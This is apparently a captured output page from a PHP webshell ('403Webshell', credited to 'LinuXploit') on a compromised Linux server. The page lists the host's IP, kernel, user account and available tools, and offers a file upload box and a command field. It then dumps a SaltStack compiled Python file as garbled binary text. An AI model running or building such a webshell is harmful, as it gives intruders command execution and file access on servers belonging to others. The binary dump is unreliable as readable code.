403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/__pycache__/path.cpython-310.pyc
o

;j�/�@sdZddlZddlZddlZddlZddlmZddlZddl	Zddl
ZddlmZddl
mZzddlZddlZdZWneyGdZYnwe�e�Zdd	�Zd
d�Zdd
�Zdd�Zed�d!dd��Zdd�Zed�dd��Zdd�Zdd�Zd!dd�Zdd�Z dd �Z!dS)"zw
Platform independent versions of some os/os.path functions. Gets around PY2's
lack of support for reading NTFS links.
�N)�Iterable)�CommandNotFoundError)�jinja_filterTFcCs tjj��r
t|�Stj�|�S)a
    Equivalent to os.path.islink().

    Returns True for Symlinks and Junctions on Windows. Junctions are symlinks
    that only apply to directories. They are specific to Windows. Junctions are
    not handled by `os.path.islink` until Python 3.12.
    )�salt�utils�platform�
is_windows�_is_reparse_point�os�path�islink�r�r�C/opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/path.pyrs
rcCs0t�|�}tjj��r|�d�r|dd�}|S)z%
    Equivalent to os.readlink()
    z\\?\�N)r
�readlinkrrrr�
startswith)r�baserrrr-s


rcCs(t�|�}|dkrdS|tj@rdSdS)z�
    A Symbolic Link and a Junction are both reparse points on Windows.
    Returns True if path is a reparse point; False otherwise.
    ���FT)�	win32fileZGetFileAttributesW�win32con�FILE_ATTRIBUTE_REPARSE_POINT)r�resultrrrr	;s
r	c	Cshtj�|�}t|�sdSd}zt�|ddddd�}t�|ddd�}W|r)t�|�|S|r3t�|�ww)a
    Retrieves the reparse point data structure for the given path.

    If the path is not a reparse point, None is returned.

    See http://msdn.microsoft.com/en-us/library/ff552012.aspx for details on the
    REPARSE_DATA_BUFFER structure returned.
    Nl��i i�	i@)r
r�normpathr	rZCreateFileWZDeviceIoControlZCloseHandle)rZ
fileHandleZreparseDatarrr�_get_reparse_dataJs2
�
�
��r�whichcsr|s	t�d�dSdd��dd�}dd��tjj�tj�d	d
�����	tj
�}tjj��sAt
|��gd�}|��fdd
�|D��tjj��r~tjj�tj�dd�����	tj
�}dd�|D��tj�|�\}}|���vrtd
g}�}n�f��fdd�	}nd
g}�}||�r�|S|D]$}ttj�|�|�}	|D]}|	|}
||
�}||�r�|	|Sq�q�t�d||�dS)z(
    Python clone of /usr/bin/which
    zBNo executable was passed to be searched by salt.utils.path.which()NcSstj�|�ot�|tj�S)z�
        This returns truth if posixy semantics (which python simulates on
        windows) states that this is executable.
        )r
r�isfile�access�X_OKr
rrr�is_executable_common~sz#which.<locals>.is_executable_commoncSsNtj�|�r%t|�}tj�|�stj�|�\}}t||�}|}tj�|�s|S)zl
        This will take a path and recursively follow the link until we get to a
        real file.
        )r
rrr�isabs�split�join)r�res�	directory�_rrr�resolve�s
�	zwhich.<locals>.resolvecSstj�|�\}}|��|vS)z�
        Extract the extension from the specified path, lowercase it so we
        can be insensitive, and then check it against the available exts.
        )r
r�splitext�lower)rZext_membership�p�extrrr�has_executable_ext�sz!which.<locals>.has_executable_ext�PATH�)z/sbinz/binz	/usr/sbinz/usr/binz/usr/local/sbinz/usr/local/bincsg|]}|�vr|�qSrr��.0r+)r%rr�
<listcomp>��zwhich.<locals>.<listcomp>�PATHEXTz.EXEcSsh|]}|���qSr)r*)r1r,rrr�	<setcomp>�szwhich.<locals>.<setcomp>cs�|�o�||�S�Nr)rZ
membership)r-r!rr�
is_executable�s
�zwhich.<locals>.is_executablez:'%s' could not be found in the following search path: '%s')�log�errorrr�stringutils�
to_unicoder
�environ�getr#�pathseprr�set�extend�to_strrr)r*r$�
expandvarsZtrace)�exer(Zsystem_pathZ
extended_path�pathextr'r,r7rr+ZpextZrpr)r-r!r%rrssL
	�cCs@t|t�r|g}t|t�sdS|D]}t|�}|sq|SdS)zT
    Scan over some possible executables and return the first one that is found
    N)�
isinstance�strrr)ZexesrCrrrr�	which_bin�s

rGZ	path_joincs�dd�|D�}tjjjd
i|��}|�dd�}|r tjj�|�|r$tntj��fdd�|D�}z|�d�}Wn
t	yAYdSwtjj
�|�}|sN|}ndd�|D�}�j|gtjj
�|��R�}��|�S)aw
    This functions tries to solve some issues when joining multiple absolute
    paths on both *nix and windows platforms.

    See tests/unit/utils/path_join_test.py for some examples on what's being
    talked about here.

    The "use_posixpath" kwarg can be be used to force joining using poxixpath,
    which is useful for Salt fileserver paths on Windows masters.
    cSsg|]	}tjj�|��qSr)rrr:rA)r1�partrrrr2	szjoin.<locals>.<listcomp>�
use_posixpathFcsg|]}��|��qSr)rr0��pathlibrrr2�rr/cSsg|]}|�tj��qSr)�lstripr
�sepr0rrrr2r3Nr)rr�argsZclean_kwargs�popZinvalid_kwargs�	posixpathr
r�
IndexErrorr:r;r$�data�decoder)�parts�kwargsrI�root�ret�strippedrrJrr$�s$�
r$cCs,|durtd��t|�std|�d���dS)z�
    Simple convenience function for modules to use for gracefully blowing up
    if a required tool is not available in the system path.

    Lazily import `salt.modules.cmdmod` to avoid any sort of circular
    dependencies.
    Nz'None' is not a valid command.�'z' is not in the path)rr)Zcommandrrr�check_or_die$s
�r[cCsVd}t|t�r|�dd�|D��}|St|t�r)dt|�}d�||�}|�|�}|S)z4
    Remove illegal path characters for windows
    z<>:|?*cSsi|]}t|�d�qS)r')�ord)r1�crrr�
<dictcomp>9rLz%sanitize_win_path.<locals>.<dictcomp>r'r/)rErF�	translate�len�	maketrans)ZwinpathZintabZouttabZtrantabrrr�sanitize_win_path3s

�
rbc	Cs�tj�dd�}ddt�|�f}|rt|t�s|g}t�}|r+|D]
}|�t�|��q d}|D]}tj||tj	d�dur>d}q/|sS|D]}tj||tj	d�durRd}qC|S)	a
    .. versionadded:: 2017.7.3

    Checks that the path is safe for modification by Salt. For example, you
    wouldn't want to have salt delete the contents of ``C:\Windows``. The
    following directories are considered unsafe:

    - C:\, D:\, E:\, etc.
    - \
    - C:\Windows

    Args:

        path (str): The path to check

        allow_paths (str, list): A directory or list of directories inside of
            path that may be safe. For example: ``C:\Windows\TEMP``

    Returns:
        bool: True if safe, otherwise False
    Z
SystemRootz
C:\Windowsz
[a-z]\:\\$z\\$T)�flagsNF)
r
r<r=�re�escaperE�list�append�match�
IGNORECASE)	rZ
allow_pathZsystem_rootZ
deny_pathsZallow_paths�itemZ	good_pathZd_path�a_pathrrr�	safe_pathAs,���rlcosF�tjj�|�}tj|g|�Ri|��D]}tjjj|dd�VqdS)z]
    This is a helper than ensures that all paths returned from os.walk are
    unicode.
    T)Zpreserve_tuplesN)rrr:rAr
�walkrSrT)�toprOrVZ	top_queryrjrrr�os_walkzs
��rocCs$tj�|�}tj�|�}tj�|�S)z�
    Expands all user and environment variables
    .. versionadded:: 3005

    Args:

        path (str): A path to a file or directory

    Returns:
        str: A fully expanded, real path
    )r
r�
expanduserrB�realpathr
rrr�expand�srrr6)"�__doc__�loggingr
rQrd�collections.abcrZsalt.utils.argsrZsalt.utils.platformZsalt.utils.stringutilsZsalt.exceptionsrZsalt.utils.decorators.jinjarrrZ
HAS_WIN32FILE�ImportError�	getLogger�__name__r8rrr	rrrGr$r[rbrlrorrrrrr�<module>sB�
)y
&
9

Youez - 2016 - github.com/yon3zu
LinuXploit